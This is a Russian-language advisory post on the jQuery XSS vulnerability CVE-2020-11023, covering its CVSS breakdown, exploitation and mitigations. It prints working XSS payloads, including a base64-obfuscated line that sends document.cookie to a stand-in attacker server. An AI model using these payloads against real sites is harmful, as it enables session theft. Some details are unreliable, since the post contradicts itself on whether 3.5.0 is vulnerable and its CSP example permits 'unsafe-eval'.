Уязвимость библиотеки jQuery
Уязвимость библиотеки jQuery
Категория: Программы Теги: Уязвимости Опубликовано: 16 мая 2025

Уязвимость BDU:2020-04949 (CVE-2020-11023) jQuery

Уязвимость BDU:2020-04949 (CVE-2020-11023), обнаруженная в библиотеке jQuery, связана с недостаточной обработкой пользовательских данных при манипуляциях с DOM. Она позволяет злоумышленникам выполнять межсайтовые сценарные атаки (XSS) через методы, такие как .html().append() и другие.

Анализ уязвимости

Уровень опасности: 6.9 (Средний)
Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

  1. AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.

  2. AC:H (Сложность атаки: Высокая) – Требуются сложные условия или манипуляции.

  3. PR:N (Привилегии: Нет) – Доступ к системе не требуется.

  4. UI:R (Взаимодействие: Требуется) – Необходимы действия пользователя (например, переход по ссылке).

  5. S:C (Область: Изменённая) – Влияет на другие системы/компоненты.

  6. C:H (Конфиденциальность: Высокое) – Полная утечка данных.

  7. I:L (Целостность: Низкое) – Незначительное изменение данных.

  8. A:N (Доступность: Нет) – Нет влияния на доступность.

Интерпретация: Уязвимость средней опасности (6.9) позволяет удалённо получить доступ к конфиденциальным данным, но требует действий пользователя и сложных условий эксплуатации. Риск снижен из-за ограниченного влияния на целостность и доступность, однако угроза распространяется на другие системы (S:C).

Проблема возникает из-за некорректной обработки HTML-элементов, содержащих специальные символы (например, ><"), при передаче в методы jQuery. Например, если злоумышленник передает строку вида /><img src=x onerror=alert(1)>, jQuery может интерпретировать ее как валидный HTML-элемент, что приводит к выполнению произвольного JavaScript-кода.

Уязвима версия jQuery от 1.0.3 до 3.5.0.

Технический анализ эксплоитов

Рассмотрим два примера эксплуатации уязвимости:

  1. Простой XSS через параметр URL
    В примере с index.php параметр value передается через GET-запрос и вставляется в атрибут title элемента <img>. При нажатии кнопки "Append via .html()" происходит следующее:

    function testfunc() {  
        testvar = document.getElementById('id').innerHTML;  
        $('#div').html(testvar); // Уязвимый метод  
    }  

    Если value содержит /%3E%3Cimg%20src=x%20onerror=alert(1)%3E (URL-декодируется в /><img src=x onerror=alert(1)>), после вставки через .html() браузер интерпретирует строку как:

    <img alt="<x" title="/><img src=x onerror=alert(1)>">  

    Символы /> закрывают предыдущий тег, после чего <img src=x onerror=alert(1)> становится отдельным элементом, выполняющим JavaScript.

  2. Кража куки через eval и base64
    Более сложный пример использует кодировку Base64 для скрытия вредоносного кода:

    value=/><img src=x onerror=eval(atob('...'))>  

    Декодированная строка ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ== превращается в:

    document.location="http://127.0.0.1:8085/?c="+document.cookie  

    Это перенаправляет пользователя на сервер злоумышленника, передавая куки в параметре URL.

Условия эксплуатации

Для успешной атаки необходимо:

  1. Наличие в системе уязвимой версии jQuery (1.0.3 – 3.5.0).

  2. Возможность внедрения произвольных данных в DOM через методы jQuery (например, через параметры URL, формы, API).

  3. Отсутствие дополнительной санитизации на стороне сервера или клиента.

Пример сценария: веб-приложение, которое отображает пользовательский ввод через .html() без экранирования (например, админ-панель устройства, доступная из внутренней сети). Если злоумышленник имеет доступ к отправке данных (через форму или URL), он может внедрить XSS-вектор.

Где используется jQuery?

jQuery применяется в 75% веб-сайтов (по данным W3Techs), включая:

  • CMS (WordPress, Drupal).

  • Веб-интерфейсы сетевых устройств (роутеры, камеры).

  • Корпоративные системы и админ-панели.

Пример уязвимого кода

<div id="content"></div>  
<script>  
    let userInput = "<img alt='x' title='/><script>alert(1)</script>'>";  
    $('#content').html(userInput); // XSS сработает здесь  
</script>  

Способы защиты

  1. Обновление jQuery
    Используйте версию 3.5.0 или новее, где проблема исправлена:

    <script src="https://code.jquery.com/jquery-3.5.0.min.js"></script>  
  2. Санитизация данных
    Всегда экранируйте пользовательский ввод с помощью функций, таких как encodeURIComponent() или библиотек (DOMPurify):

    $('#div').html(DOMPurify.sanitize(userInput));  
  3. Content Security Policy (CSP)
    Добавьте заголовок CSP для блокировки выполнения inline-скриптов:

    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval';  
  4. Проверка входных данных
    На стороне сервера:

    $value = htmlspecialchars($_GET['value'], ENT_QUOTES, 'UTF-8');  
Алексей Черемных Алексей Черемных
79